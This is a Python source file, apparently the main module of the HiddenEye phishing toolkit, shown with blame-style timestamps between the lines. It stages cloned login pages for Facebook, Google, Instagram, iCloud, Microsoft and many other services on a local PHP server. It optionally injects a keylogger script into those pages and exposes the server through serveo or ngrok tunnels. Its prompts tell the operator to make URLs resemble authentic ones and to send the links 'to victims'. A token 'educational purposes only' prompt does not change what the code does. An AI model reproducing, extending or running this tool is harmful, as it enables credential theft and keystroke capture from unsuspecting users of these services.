2018-10-29 03:49:19 +08:00
#Any actions must be here
from os import system , path
from distutils . dir_util import copy_tree
from time import sleep
import re
import json
from urllib . request import urlopen
2018-12-07 11:59:05 +08:00
from subprocess import check_output , CalledProcessError
2018-12-23 11:50:28 +08:00
from sys import stdout , argv , exit
2018-10-31 00:44:11 +08:00
from Defs . Configurations import readConfig , ifSettingsNotExists
2018-11-20 01:49:09 +08:00
from Defs . Languages import *
2019-01-28 06:45:33 +08:00
RED , WHITE , CYAN , GREEN , DEFAULT = ' \033 [91m ' , ' \033 [46m ' , ' \033 [36m ' , ' \033 [1;32m ' , ' \033 [0m '
2018-10-29 03:49:19 +08:00
2018-11-30 07:20:52 +08:00
installGetText ( )
2018-11-29 04:56:33 +08:00
languageSelector ( )
2018-10-29 04:30:33 +08:00
ifSettingsNotExists ( )
2018-10-29 03:49:19 +08:00
config = readConfig ( )
2018-11-20 01:49:09 +08:00
2018-10-29 03:49:19 +08:00
logFile = None
didBackground = config . get ( " Settings " , " DidBackground " )
for arg in argv :
if arg == " --nolog " : #If true - don't log
didBackground = False
if config . get ( " Settings " , " DidBackground " ) == " True " :
logFile = open ( " log.txt " , " w " )
def runPhishing ( page , customOption ) : #Phishing pages selection menu
2019-04-19 22:36:23 +08:00
system ( ' rm -Rf Server/www/*.* && touch Server/www/usernames.txt && touch Server/www/ip.txt && cp WebPages/ip.php Server/www/ && cp WebPages/KeyloggerData.txt Server/www/ && cp WebPages/keylogger.js Server/www/ && cp WebPages/keylogger.php Server/www/ ' )
2018-10-29 03:49:19 +08:00
if customOption == ' 1 ' and page == ' Facebook ' :
copy_tree ( " WebPages/fb_standard/ " , " Server/www/ " )
if customOption == ' 2 ' and page == ' Facebook ' :
copy_tree ( " WebPages/fb_advanced_poll/ " , " Server/www/ " )
if customOption == ' 3 ' and page == ' Facebook ' :
copy_tree ( " WebPages/fb_security_fake/ " , " Server/www/ " )
if customOption == ' 4 ' and page == ' Facebook ' :
copy_tree ( " WebPages/fb_messenger/ " , " Server/www/ " )
elif customOption == ' 1 ' and page == ' Google ' :
copy_tree ( " WebPages/google_standard/ " , " Server/www/ " )
elif customOption == ' 2 ' and page == ' Google ' :
copy_tree ( " WebPages/google_advanced_poll/ " , " Server/www/ " )
elif customOption == ' 3 ' and page == ' Google ' :
copy_tree ( " WebPages/google_advanced_web/ " , " Server/www/ " )
elif page == ' LinkedIn ' :
copy_tree ( " WebPages/linkedin/ " , " Server/www/ " )
elif page == ' GitHub ' :
copy_tree ( " WebPages/GitHub/ " , " Server/www/ " )
elif page == ' StackOverflow ' :
copy_tree ( " WebPages/stackoverflow/ " , " Server/www/ " )
elif page == ' WordPress ' :
copy_tree ( " WebPages/wordpress/ " , " Server/www/ " )
elif page == ' Twitter ' :
copy_tree ( " WebPages/twitter/ " , " Server/www/ " )
elif page == ' Snapchat ' :
copy_tree ( " WebPages/Snapchat_web/ " , " Server/www/ " )
elif page == ' Yahoo ' :
copy_tree ( " WebPages/yahoo_web/ " , " Server/www/ " )
elif page == ' Twitch ' :
copy_tree ( " WebPages/twitch/ " , " Server/www/ " )
elif page == ' Microsoft ' :
copy_tree ( " WebPages/live_web/ " , " Server/www/ " )
elif page == ' Steam ' :
copy_tree ( " WebPages/steam/ " , " Server/www/ " )
elif page == ' iCloud ' :
copy_tree ( " WebPages/iCloud/ " , " Server/www/ " )
elif customOption == ' 1 ' and page == ' Instagram ' :
copy_tree ( " WebPages/Instagram_web/ " , " Server/www/ " )
elif customOption == ' 2 ' and page == ' Instagram ' :
copy_tree ( " WebPages/Instagram_autoliker/ " , " Server/www/ " )
2018-12-12 18:59:32 +08:00
elif customOption == ' 3 ' and page == ' Instagram ' :
2019-03-02 16:05:38 +08:00
copy_tree ( " WebPages/Instagram_advanced_attack/ " , " Server/www/ " )
elif customOption == ' 4 ' and page == ' Instagram ' :
copy_tree ( " WebPages/Instagram_VerifiedBadge/ " , " Server/www/ " )
2019-04-19 22:36:23 +08:00
elif customOption == ' 5 ' and page == ' Instagram ' :
copy_tree ( " WebPages/instafollowers/ " , " Server/www/ " )
2018-10-29 03:49:19 +08:00
elif customOption == ' 1 ' and page == ' VK ' :
copy_tree ( " WebPages/VK/ " , " Server/www/ " )
elif customOption == ' 2 ' and page == ' VK ' :
copy_tree ( " WebPages/VK_poll_method/ " , " Server/www/ " )
2019-04-19 22:36:23 +08:00
elif page == ' GitLab ' :
copy_tree ( " WebPages/gitlab/ " , " Server/www/ " )
elif page == ' NetFlix ' :
copy_tree ( " WebPages/netflix/ " , " Server/www/ " )
elif page == ' Origin ' :
copy_tree ( " WebPages/origin/ " , " Server/www/ " )
elif page == ' Pinterest ' :
copy_tree ( " WebPages/pinterest/ " , " Server/www/ " )
elif page == ' ProtonMail ' :
copy_tree ( " WebPages/protonmail/ " , " Server/www/ " )
elif page == ' Spotify ' :
copy_tree ( " WebPages/spotify/ " , " Server/www/ " )
else :
exit ( 0 )
2018-10-29 03:49:19 +08:00
def selectServer ( ) : #Question where user must select server
2019-01-28 06:45:33 +08:00
system ( ' clear ' )
print ( _ ( '''
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2019-04-19 22:36:23 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ HOST SERVER SELECTION ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' ).format(RED, CYAN))
print ( _ ( " \n {1} [ {0} ! {1} ] {1} SERVEO IS MORE ADVANCED THAN NGROK. \n {1} [ {0} ! {1} ] {1} STILL ITS YOUR CHOICE {1} " ) . format ( RED , CYAN ) )
2019-01-28 06:45:33 +08:00
print ( _ ( " \n {0} [ {1} * {0} ] {0} Select Any Available Server: {1} " ) . format ( RED , DEFAULT ) )
2019-04-19 22:36:23 +08:00
print ( _ ( " \n {0} [ {1} 1 {0} ] {1} Ngrok \n {0} [ {1} 2 {0} ] {1} Serveo " ) . format ( RED , CYAN ) )
2018-10-30 22:05:25 +08:00
2019-04-19 22:36:23 +08:00
choice = input ( " \n {0} HiddenEye >>> {2} " . format ( RED , DEFAULT , CYAN ) )
if choice == ' 1 ' :
print ( _ ( " \n {1} [ {0} ^ {1} ] {0} We are working to fix it ... \n {1} [ {0} ^ {1} ] {1} Still You can Use Ngrok, But You have to do it Manually, Not a Big Deal. \n \n {1} [ {0} ! {1} ] {1} JUST FOLLOW THESE STEPS... \n ~ Open another terminal & goto HiddenEye Cloned Folder. \n ~ Now type this command... \n {1} ( {0} ./Server/ngrok http 1111 {1} ) \n ~ {1} Everything Completed, Just Send the Ngrok Generated Link To Your Victim.. \n \n {1} [ {0} ! {1} ] {1} PRESS ENTER TO GO BACK TO SERVER SELECTION. \n " ) . format ( RED , CYAN ) )
input ( ' ' )
return selectServer ( )
2018-10-29 03:49:19 +08:00
elif choice == ' 2 ' :
2019-04-19 22:36:23 +08:00
system ( ' clear ' )
2018-10-29 03:49:19 +08:00
runServeo ( )
else :
system ( ' clear ' )
return selectServer ( )
2019-03-07 10:41:28 +08:00
2018-10-29 03:49:19 +08:00
def runServeo ( ) :
2019-04-19 22:36:23 +08:00
print ( _ ( '''
2019-03-07 10:41:28 +08:00
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2019-04-19 22:36:23 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ SERVEO URL TYPE SELECTION ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ { 1 } ! { 0 } ] { 1 } REMEMBER ? Custom Url ' s generating Can irritate you. \n {0} [ {1} ! {0} ] {1} As the Serveo becomes popular, Getting a desired domain may be tough. ' ' ' ) . format ( RED , CYAN ) )
print ( _ ( " \n {0} [ {1} * {0} ] {0} CHOOSE ANY SERVEO URL TYPE TO GENERATE PHISHING LINK: {1} " ) . format ( RED , CYAN ) )
print ( _ ( " \n {0} [ {1} 1 {0} ] {1} Custom URL {0} (Generates desired url) \n {0} [ {1} 2 {0} ] {1} Random URL {0} (Generates Random url) " ) . format ( RED , CYAN ) )
choice = input ( " \n \n {0} YOUR CHOICE >>> {2} " . format ( RED , DEFAULT , CYAN ) )
system ( ' clear ' )
if choice == ' 1 ' :
customServeo ( )
elif choice == ' 2 ' :
randomServeo ( )
else :
2019-03-07 10:41:28 +08:00
system ( ' clear ' )
2019-04-19 22:36:23 +08:00
return runServeo ( )
2019-03-07 10:41:28 +08:00
def customServeo ( ) :
2019-01-28 06:45:33 +08:00
print ( _ ( '''
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2019-04-19 22:36:23 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ CREATE A CUSTOM URL HERE ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n \n { 0 } [ { 1 } ! { 0 } ] { 1 } YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL ' s \n {0} [ {1} ! {0} ] {1} Again ? Use Your Social-engineering Skills Here. \n \n {0} Insert a custom subdomain for serveo ' ' ' ) . format ( RED , CYAN ) )
lnk = input ( _ ( " \n {0} CUSTOM Subdomain>>> {2} " ) . format ( RED , DEFAULT , CYAN ) )
2018-12-07 11:59:05 +08:00
if not " .serveo.net " in lnk :
lnk + = " .serveo.net "
else :
pass
2018-12-06 21:53:15 +08:00
system ( ' ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R %s :80:localhost:1111 serveo.net > link.url 2> /dev/null & ' % ( lnk ) )
2018-10-29 03:49:19 +08:00
sleep ( 7 )
2018-11-01 13:27:14 +08:00
try :
2018-12-09 14:14:19 +08:00
output = check_output ( " grep -o ' . \ { 0,0 \ }http. \ { 0,100 \ } ' link.url " , shell = True )
2018-12-07 11:59:05 +08:00
url = str ( output ) . strip ( " b ' \ n r " )
2019-04-19 22:36:23 +08:00
print ( " \n {0} [ {1} ! {0} ] {1} SEND THIS SERVEO URL TO VICTIMS- \n {0} [ {1} * {0} ] {1} Localhost URL: {2} http://127.0.0.1:1111 \n {0} [ {1} * {0} ] {1} SERVEO URL: {2} " . format ( RED , CYAN , GREEN ) + url + " {1} " . format ( RED , DEFAULT , GREEN ) )
2018-11-29 04:56:33 +08:00
print ( " \n " )
2019-02-27 22:44:19 +08:00
2018-12-07 11:59:05 +08:00
except CalledProcessError :
2019-02-24 23:18:02 +08:00
print ( _ ( ''' \n \n {0} FAILED TO GET THIS DOMAIN. !!! \n \n {0} LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!! \n \n {0} [ {1} ! {0} ]TRY TO SELECT ANOTHER CUSTOM DOMAIN {1} (GOING BACK).. !! \n
2018-12-23 11:49:28 +08:00
''' ).format(RED, DEFAULT))
2019-02-24 23:18:02 +08:00
sleep ( 4 )
system ( ' clear ' )
2019-03-07 10:41:28 +08:00
return customServeo ( )
def randomServeo ( ) :
system ( ' clear ' )
print ( _ ( '''
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2019-04-19 22:36:23 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ RANDOM SERVEO URL ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' ).format(RED, CYAN))
2019-03-07 10:41:28 +08:00
system ( ' ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:1111 serveo.net > link.url 2> /dev/null & ' )
sleep ( 8 )
try :
output = check_output ( " grep -o ' . \ { 0,0 \ }http. \ { 0,100 \ } ' link.url " , shell = True )
url = str ( output ) . strip ( " b ' \ n r " )
2019-04-19 22:36:23 +08:00
print ( " \n {0} [ {1} ! {0} ] {1} SEND THIS SERVEO URL TO VICTIMS- \n \n {0} [ {1} * {0} ] {1} Localhost URL: {2} http://127.0.0.1:1111 \n {0} [ {1} * {0} ] {1} SERVEO URL: {2} " . format ( RED , CYAN , GREEN ) + url + " {1} " . format ( RED , CYAN , GREEN ) )
2019-03-07 10:41:28 +08:00
print ( " \n " )
except CalledProcessError :
sleep ( 4 )
system ( ' clear ' )
return randomServeo ( )
2019-02-27 22:44:19 +08:00
2018-10-29 03:49:19 +08:00
def runMainMenu ( ) : #menu where user select what they wanna use
2019-01-28 06:45:33 +08:00
2019-04-19 22:36:23 +08:00
if 256 != system ( ' which php > /dev/null ' ) : #Checking if user have PHP
print ( _ ( " {2} * {0} PHP INSTALLATION FOUND " ) . format ( CYAN , DEFAULT , RED ) )
2019-01-28 06:45:33 +08:00
else :
2019-04-19 22:36:23 +08:00
print ( _ ( " {0} ** {2} PHP NOT FOUND: \n {0} ~ {1} Please install PHP and run me again.http://www.php.net/ " ) . format ( CYAN , DEFAULT , RED ) )
2019-01-28 06:45:33 +08:00
for i in range ( 101 ) :
2019-04-19 22:36:23 +08:00
sleep ( 0.02 )
2019-01-28 06:45:33 +08:00
stdout . write ( " \r " )
stdout . write ( _ ( " {0} [ {1} * {0} ] {1} HiddenEye is Opening. Please Wait... {2} % " ) . format ( RED , DEFAULT , i ) )
stdout . flush ( )
2019-04-19 22:36:23 +08:00
if input ( _ ( " \n {2} [ {1} ! {2} ] {1} Do you agree to use this tool for educational purposes only? ( {0} y {1} / {2} n {1} ) \n {2} HiddenEye >>> {0} " ) . format ( CYAN , DEFAULT , RED ) ) . upper ( ) != ' Y ' : #Question where user must accept education purposes
2019-01-28 06:45:33 +08:00
system ( ' clear ' )
2019-04-19 22:36:23 +08:00
print ( _ ( ' \n \n [ {0} YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE.! {1} ] \n \n ' ) . format ( RED , DEFAULT ) )
2019-01-28 06:45:33 +08:00
exit ( 0 )
2018-10-29 03:49:19 +08:00
system ( ' clear ' )
2019-04-19 22:36:23 +08:00
print ( _ ( '''
{ 2 } █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ { 3 } █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ { 1 }
{ 2 } █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ { 3 } █ █ █ █ █ █ █ █ { 1 }
{ 2 } █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ { 3 } █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ { 1 }
{ 2 } █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ { 3 } █ █ █ █ █ █ { 1 }
{ 2 } █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ { 3 } █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ { 1 }
v { 3 } 0 { 1 } . { 3 } 2 { 1 } . { 3 } 6 { 1 } BY : DARKSEC { 2 }
{ 3 } [ { 2 } Modern Phishing Tool With Advanced Functionality { 3 } ]
{ 3 } [ { 2 } PHISHING - KEYLOGGER - INFORMATION COLLECTOR - BROWSER HOOKING - SOCIALENGINEERING { 3 } ]
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ''' ).format(GREEN, DEFAULT, CYAN, RED))
print ( _ ( " ------------------------ \n SELECT ANY ATTACK VECTOR FOR YOUR VICTIM: \n ------------------------ " ) . format ( RED , CYAN ) )
print ( _ ( " {0} [ {1} 1 {0} ] {1} Facebook {0} [ {1} 10 {0} ] {1} Yahoo {0} [ {1} 19 {0} ] {1} Pinterest " ) . format ( RED , CYAN ) )
print ( _ ( " {0} [ {1} 2 {0} ] {1} Google {0} [ {1} 11 {0} ] {1} Twitch {0} [ {1} 20 {0} ] {1} ProtonMail " ) . format ( RED , CYAN ) )
print ( _ ( " {0} [ {1} 3 {0} ] {1} LinkedIn {0} [ {1} 12 {0} ] {1} Microsoft {0} [ {1} 21 {0} ] {1} Spotify " ) . format ( RED , CYAN ) )
print ( _ ( " {0} [ {1} 4 {0} ] {1} GitHub {0} [ {1} 13 {0} ] {1} Steam " ) . format ( RED , CYAN ) )
print ( _ ( " {0} [ {1} 5 {0} ] {1} StackOverflow {0} [ {1} 14 {0} ] {1} VK " ) . format ( RED , CYAN ) )
print ( _ ( " {0} [ {1} 6 {0} ] {1} WordPress {0} [ {1} 15 {0} ] {1} iCloud " ) . format ( RED , CYAN ) )
print ( _ ( " {0} [ {1} 7 {0} ] {1} Twitter {0} [ {1} 16 {0} ] {1} GitLab " ) . format ( RED , CYAN ) )
print ( _ ( " {0} [ {1} 8 {0} ] {1} Instagram {0} [ {1} 17 {0} ] {1} Netflix " ) . format ( RED , CYAN ) )
print ( _ ( " {0} [ {1} 9 {0} ] {1} Snapchat {0} [ {1} 18 {0} ] {1} Origin " ) . format ( RED , CYAN ) )
option = input ( _ ( " {0} HiddenEye >>> {1} " ) . format ( RED , CYAN ) )
2019-01-28 06:45:33 +08:00
if option == ' 1 ' :
2018-10-29 03:49:19 +08:00
loadModule ( ' Facebook ' )
2019-04-19 22:36:23 +08:00
customOption = input ( _ ( " \n Operation mode: \n {0} [ {1} 1 {0} ] {1} Standard Page Phishing \n {0} [ {1} 2 {0} ] {1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with) \n {0} [ {1} 3 {0} ] {1} Facebook Phishing- Fake Security issue(security_mode) \n {0} [ {1} 4 {0} ] {1} Facebook Phising-Messenger Credentials(messenger_mode) \n {0} HiddenEye >>> {2} " ) . format ( RED , CYAN , CYAN ) )
2018-10-29 03:49:19 +08:00
runPhishing ( ' Facebook ' , customOption )
2019-01-28 06:45:33 +08:00
elif option == ' 2 ' :
2018-10-29 03:49:19 +08:00
loadModule ( ' Google ' )
2019-04-19 22:36:23 +08:00
customOption = input ( _ ( " \n Operation mode: \n {0} [ {1} 1 {0} ] {1} Standard Page Phishing \n {0} [ {1} 2 {0} ] {1} Advanced Phishing(poll_mode/login_with) \n {0} [ {1} 3 {0} ] {1} New Google Web \n {0} HiddenEye >>> {2} " ) . format ( RED , CYAN , CYAN ) )
2018-10-29 03:49:19 +08:00
runPhishing ( ' Google ' , customOption )
2019-01-28 06:45:33 +08:00
elif option == ' 3 ' :
2018-10-29 03:49:19 +08:00
loadModule ( ' LinkedIn ' )
customOption = ' '
runPhishing ( ' LinkedIn ' , customOption )
2019-01-28 06:45:33 +08:00
elif option == ' 4 ' :
2018-10-29 03:49:19 +08:00
loadModule ( ' GitHub ' )
customOption = ' '
runPhishing ( ' GitHub ' , customOption )
2019-01-28 06:45:33 +08:00
elif option == ' 5 ' :
2018-10-29 03:49:19 +08:00
loadModule ( ' StackOverflow ' )
customOption = ' '
runPhishing ( ' StackOverflow ' , customOption )
2019-01-28 06:45:33 +08:00
elif option == ' 6 ' :
2018-10-29 03:49:19 +08:00
loadModule ( ' WordPress ' )
customOption = ' '
runPhishing ( ' WordPress ' , customOption )
2019-01-28 06:45:33 +08:00
elif option == ' 7 ' :
2018-10-29 03:49:19 +08:00
loadModule ( ' Twitter ' )
customOption = ' '
runPhishing ( ' Twitter ' , customOption )
2019-01-28 06:45:33 +08:00
elif option == ' 8 ' :
2018-10-29 03:49:19 +08:00
loadModule ( ' Instagram ' )
2019-04-19 22:36:23 +08:00
customOption = input ( _ ( " \n Operation mode: \n {0} [ {1} 1 {0} ] {1} Standard Instagram Web Page Phishing \n {0} [ {1} 2 {0} ] {1} Instagram Autoliker Phising (To Lure The Users) \n {0} [ {1} 3 {0} ] {1} Instagram Advanced Scenario (Appears as Instagram Profile) \n {0} [ {1} 4 {0} ] {1} Instagram Verified Badge Attack (Lure To Get Blue Badge) {1} *[NEW]* \n {0} [ {1} 5 {0} ] {1} Instafollower (Lure To Get More Followers) {1} *[NEW]* \n {0} HiddenEye >>> {2} " ) . format ( RED , CYAN , CYAN ) )
2018-10-29 03:49:19 +08:00
runPhishing ( ' Instagram ' , customOption )
2019-01-28 06:45:33 +08:00
elif option == ' 9 ' :
2018-10-29 03:49:19 +08:00
loadModule ( ' Snapchat ' )
customOption = ' '
runPhishing ( ' Snapchat ' , customOption )
elif option == ' 10 ' :
loadModule ( ' Yahoo ' )
customOption = ' '
runPhishing ( ' Yahoo ' , customOption )
elif option == ' 11 ' :
loadModule ( ' Twitch ' )
customOption = ' '
runPhishing ( ' Twitch ' , customOption )
elif option == ' 12 ' :
loadModule ( ' Microsoft ' )
customOption = ' '
runPhishing ( ' Microsoft ' , customOption )
elif option == ' 13 ' :
loadModule ( ' Steam ' )
customOption = ' '
runPhishing ( ' Steam ' , customOption )
elif option == ' 14 ' :
loadModule ( ' VK ' )
2019-04-19 22:36:23 +08:00
customOption = input ( _ ( " \n Operation mode: \n {0} [ {1} 1 {0} ] {1} Standard VK Web Page Phishing \n {0} [ {1} 2 {0} ] {1} Advanced Phishing(poll_mode/login_with) \n {0} HiddenEye >>> {2} " ) . format ( RED , DEFAULT , CYAN ) )
2018-10-29 03:49:19 +08:00
runPhishing ( ' VK ' , customOption )
elif option == ' 15 ' :
loadModule ( ' iCloud ' )
customOption = ' '
runPhishing ( ' iCloud ' , customOption )
2019-04-19 22:36:23 +08:00
elif option == ' 16 ' :
loadModule ( ' GitLab ' )
customOption = ' '
runPhishing ( ' GitLab ' , customOption )
elif option == ' 17 ' :
loadModule ( ' NetFlix ' )
customOption = ' '
runPhishing ( ' NetFlix ' , customOption )
elif option == ' 18 ' :
loadModule ( ' Origin ' )
customOption = ' '
runPhishing ( ' Origin ' , customOption )
elif option == ' 19 ' :
loadModule ( ' Pinterest ' )
customOption = ' '
runPhishing ( ' Pinterest ' , customOption )
elif option == ' 20 ' :
loadModule ( ' ProtonMail ' )
customOption = ' '
runPhishing ( ' ProtonMail ' , customOption )
elif option == ' 21 ' :
loadModule ( ' Spotify ' )
customOption = ' '
runPhishing ( ' Spotify ' , customOption )
2018-10-29 03:49:19 +08:00
else :
exit ( 0 )
def loadModule ( module ) : #This one just show text..
2018-10-31 10:28:03 +08:00
print ( _ ( ''' {0}
2019-04-19 22:36:23 +08:00
[ { 1 } * { 0 } ] SELECT ANY ONE MODE . . . { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' ).format(RED, CYAN))
2018-10-29 03:49:19 +08:00
def inputCustom ( ) : #Question where user can input custom web-link
2019-01-28 06:45:33 +08:00
system ( ' clear ' )
2019-04-19 22:36:23 +08:00
print ( _ ( ''' {1}
_ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
2019-01-28 06:45:33 +08:00
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2019-04-19 22:36:23 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ PUT YOUR REDIRECTING URL HERE ] { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' ).format(RED, CYAN))
print ( _ ( ''' \n {1} ** {0} (Choose Wisely As Your Victim Will Redirect to This Link) ''' ) . format ( CYAN , DEFAULT ) )
print ( _ ( ''' \n {1} ** {0} (Do not leave it blank. Unless Errors may occur) ''' ) . format ( CYAN , DEFAULT ) )
print ( _ ( ''' \n {0} [ {1} * {0} ] {0} Insert a custom redirect url: ''' ) . format ( RED , DEFAULT ) )
custom = input ( _ ( ''' \n {0} REDIRECT HERE>>> {2} ''' ) . format ( RED , DEFAULT , CYAN ) )
if ' http:// ' in custom or ' https:// ' in custom :
2018-10-29 03:49:19 +08:00
pass
else :
custom = ' http:// ' + custom
if path . exists ( ' Server/www/post.php ' ) and path . exists ( ' Server/www/login.php ' ) :
with open ( ' Server/www/login.php ' ) as f :
read_data = f . read ( )
c = read_data . replace ( ' <CUSTOM> ' , custom )
f = open ( ' Server/www/login.php ' , ' w ' )
f . write ( c )
f . close ( )
2019-04-19 22:36:23 +08:00
2018-10-29 03:49:19 +08:00
with open ( ' Server/www/post.php ' ) as f :
read_data = f . read ( )
c = read_data . replace ( ' <CUSTOM> ' , custom )
f = open ( ' Server/www/post.php ' , ' w ' )
f . write ( c )
f . close ( )
else :
with open ( ' Server/www/login.php ' ) as f :
read_data = f . read ( )
c = read_data . replace ( ' <CUSTOM> ' , custom )
f = open ( ' Server/www/login.php ' , ' w ' )
f . write ( c )
f . close ( )
2019-04-19 22:36:23 +08:00
2019-01-28 06:45:33 +08:00
def keyloggerprompt ( ) :
system ( ' clear ' )
print ( _ ( ''' {1}
_ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
2019-04-19 22:36:23 +08:00
{ 1 } http : / / github . com / darksecdevelopers
{ 0 } * * BY : { 1 } DARKSEC { 0 } * *
''' ).format(RED, CYAN))
2019-01-28 06:45:33 +08:00
print ( _ ( " ------------------------------- \n {0} [ KEYLOGGER PROMPT ] {1} !! {0} \n ------------------------------- " ) . format ( RED , DEFAULT ) )
2018-10-29 03:49:19 +08:00
2019-01-28 06:45:33 +08:00
def addingkeylogger ( ) :
2019-03-07 10:41:28 +08:00
print ( _ ( " \n {0} [ {1} * {0} ] {0} DO YOU WANT TO ADD A KEYLOGGER IN PHISHING PAGE- {1} (Y/N) " ) . format ( RED , DEFAULT ) )
2019-04-19 22:36:23 +08:00
choice = input ( " \n \n {1} {0} YOUR CHOICE >>> {2} " . format ( RED , DEFAULT , CYAN ) )
2019-03-07 10:41:28 +08:00
if choice == ' y ' or choice == ' Y ' :
2019-04-19 22:36:23 +08:00
addkeylogger ( )
2019-03-07 10:41:28 +08:00
else :
2019-04-19 22:36:23 +08:00
sleep ( 1 )
2019-03-07 10:41:28 +08:00
def addkeylogger ( ) :
2019-04-19 22:36:23 +08:00
if path . exists ( ' Server/www/index.html ' ) :
with open ( ' Server/www/index.html ' ) as f :
2019-03-07 10:41:28 +08:00
read_data = f . read ( )
c = read_data . replace ( ' </title> ' , ' </title><script src= " keylogger.js " ></script> ' )
2019-04-19 22:36:23 +08:00
f = open ( ' Server/www/index.html ' , ' w ' )
2019-03-07 10:41:28 +08:00
f . write ( c )
2019-04-19 22:36:23 +08:00
f . close ( )
print ( _ ( " \n {0} [ {1} # {0} ]Keylgger {0} ADDED !!! " ) . format ( RED , DEFAULT ) )
sleep ( 2 )
else :
with open ( ' Server/www/index.php ' ) as f :
2019-01-28 06:45:33 +08:00
read_data = f . read ( )
2019-01-30 02:40:25 +08:00
c = read_data . replace ( ' </title> ' , ' </title><script src= " keylogger.js " ></script> ' )
2019-04-19 22:36:23 +08:00
f = open ( ' Server/www/index.php ' , ' w ' )
f . write ( c )
f . close ( )
print ( _ ( " \n {0} [ {1} # {0} ]Keylgger {0} ADDED !!! " ) . format ( RED , DEFAULT ) )
sleep ( 2 )
2019-03-07 10:41:28 +08:00
2018-10-29 03:49:19 +08:00
def runServer ( ) :
2019-04-19 22:36:23 +08:00
system ( " cd Server/www/ && php -S 127.0.0.1:1111 > /dev/null " )
2018-10-29 03:49:19 +08:00
2018-10-30 05:23:45 +08:00
def endMessage ( ) : #Message when HiddenEye exit
2018-10-29 03:49:19 +08:00
system ( ' clear ' )
2018-10-31 10:28:03 +08:00
print ( _ ( '''
2018-10-30 14:18:21 +08:00
{ 3 } HIDDEN EYE { 3 } BY : DARKSEC TEAM
2019-04-19 22:36:23 +08:00
{ 1 } https : / / github . com / DarkSecDevelopers / HiddenEye
{ 3 } [ [ * ] ] IF YOU LIKE THIS TOOL , THEN PLEASE HELP US .
{ 0 }
[ { 3 } ! { 0 } ] PLEASE LET US KNOW , IF ANY PHISHING PAGE GOT BROKEN .
[ { 3 } ! { 0 } ] MAKE PULL REQUEST , LET US KNOW YOU SUPPORT US .
[ { 3 } ! { 0 } ] IF YOU HAVE MORE PHISHING PAGES , THEN JUST MAKE A PULL REQUEST .
